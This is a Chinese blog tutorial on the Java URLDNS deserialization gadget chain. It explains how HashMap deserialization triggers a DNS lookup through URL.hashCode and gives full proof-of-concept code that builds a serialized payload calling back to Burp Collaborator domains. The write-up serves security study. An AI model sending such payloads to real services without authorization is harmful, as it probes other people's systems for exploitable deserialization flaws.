URLDNS利用链

文章详细介绍了Java中URL类在进行HashMap序列化时如何触发DNS请求的过程。通过URL的hashCode()函数,在HashMap的put()操作中可能引发DNS解析。通过反射修改URL对象的hashCode值,可以在序列化时控制DNS请求的触发时间。文中提供了一个POC代码示例来展示这一行为。
摘要由CSDN通过智能技术生成
  1. java里面与Http相关的是URL类,并且继承了Serialize,可以序列化
  2. 正常的写法是调用它的openConnection()方法
    image.png
    1. 返回值类型为URLConnection,跟进查看发现是一个抽象类。它实现类一般是通过HttpURLConnection来实现
      image.png
    2. 但是HttpURLConnection没用继承serialize类,而且openConnection()也很难找到再其他地方找到相同的,寻找其他可以利用的函数
  3. 发现hashcode()函数
    image.png
    1. 跟进去发现有一个if判断,判断hashcode值是否为-1,后面会用到,先记录一下。
    2. 然后发现它调用了Hander.hashCode(),跟进查看
    3. 这里发现调用了getHostAddress()函数,这个是根据域名获取地址,那么这里肯定会做一个域名解析的工作,也就是说,如果我们调用了URL类的hashCode()函数,那我们就可以得到一个DNS请求。
      image.png
    4. 入口点 : HashMap继承了serialize,满足参数类型宽泛,也是JDK自带的,也重写了readObject,是一个很完美的入口类
      • 会进行数据传输,所以继承了serialize
      • 本身就是键值对,满足参数类型宽泛
      • 因为hashmap需要保证键的唯一性,就要计算键的hashcode,如果键是对象的话,在不同的JVM实现中计算得出的hash值可能是不同的,所以他必须重新实现他的readobject方法
      • HashMap的readObject()方法中调用了hash()方法
        image.png
      • hash方法中传入的是Object类型的key
      • image.png
      • ,并且在下面调用了key的hashCode()的方法,这个方法是Object类里面的方法,同时URL里面也调用了HashCode方法,正好可以走到URL类里面。
      • image.png
      • 并且HashMap是JDK自带的类,所以它是一个很完美的入口类
  4. 接下来我们就可以构造反序列化了
    1. 首先我们先定义个一个hashmap
public class SerializeTest {
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }
    public static void main(String[] args) throws IOException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
        HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
        hashMap.put(new URL("http://7pxj1d67txgczg8v60mu3rtpfgl69v.burpcollaborator.net"),1);
        
        serialize(hashMap);
    }
}
  1. 这里put进去的是DNSlog平台生成的域名
  2. 我们将它进行序列化,正常来说这里应该什么都不会发生,但实际上我们看到,在他序列化的时候,我们就已经接受到了请求
    image.png
  3. 我们跟到hashMap的put()方法里面可以看到,为了确保键的唯一,haspmap在put的时候就会调用他的hash方法,也就会调用他的hashcode方法
    image.png
  4. 实际上在put的时候就已经发起了一次dns请求。这样就会让人误以为是在反序列化的时候收到的,但是其实在本地的时候就已经发起了DNS请求。
  5. 我们之前发现的URL类里面的hashcode()函数判断hash!=-1的时候就直接返回了
    image.png
  6. 而hashcode初始化的时候值为-1
    image.png
  7. 所以在我们put的时候hashcode的值已经变为了url的hashcode的值。所以我们在反序列化之后也不会收到请求,因为hashcode的值已经不是-1了。
    image.png
  8. 这里应该在put之前让他不要发起请求,在put之后将hashcode 的值改回-1
  9. 这里的对象已经生成了,我们要想改变它的值,就需要通过反射进行改变已于对象的属性。
  10. 反射
    1. 关于反射可以查看 Java反射
    2. 根据判断我们可以得知,如果在put之前把hashcode的值改变使其不为-1,那么在put的时候就不会发起请求了,然后再put完成之后序列化之前将hashcode的值变为-1,反序列的时候才会发起请求。
    3. 使用反射修改hashcode的值不为-1
 HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
        //hashcode=-1
        URL url = new URL("http://ra53o8vteex9coox80tso6htgkmba0.burpcollaborator.net");
        Class c = url.getClass();
        Field hashCodefield = c.getDeclaredField("hashCode");
        hashCodefield.setAccessible(true);
        hashCodefield.set(url,1);//不等于-1就可以

        hashMap.put(url,1);
        //hashcode=  url的hashcode值了
        serialize(hashMap);
  1. put的时候有没有发起请求
    image.png
  2. 可以看到没有发起请求,然后我们需要在序列化之前将hashcode的值设置为-1,在serialize之前设置hashCodefield.set(url,-1);
  3. 再次查看dnslog 还是没有请求
  4. 运行unserialize,dnslog收到请求。
    image.png

poc

package ysoserial.ay;

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

/**
 * @ClassName URLDNS
 * @Author aY
 * @Date 2023/3/12 15:47
 * @Description
 */
public class URLDNS {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {


        HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
        //hashcode=-1
        URL url = new URL("http://2mpiyigubkvlt0e80ojyv51lscy2mr.burpcollaborator.net");

        Class c = url.getClass();
        Field hashCodefield = c.getDeclaredField("hashCode");
        hashCodefield.setAccessible(true);
        hashCodefield.set(url,1234);//不等于-1就可以

        hashMap.put(url,1);
        //hashcode=  url的hashcode值了
        hashCodefield.set(url,-1);
        serialize(hashMap);
//        unserialize("ser.bin");
    }

    //封装serialize
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }

    //封装unserialize
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

YY13172

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值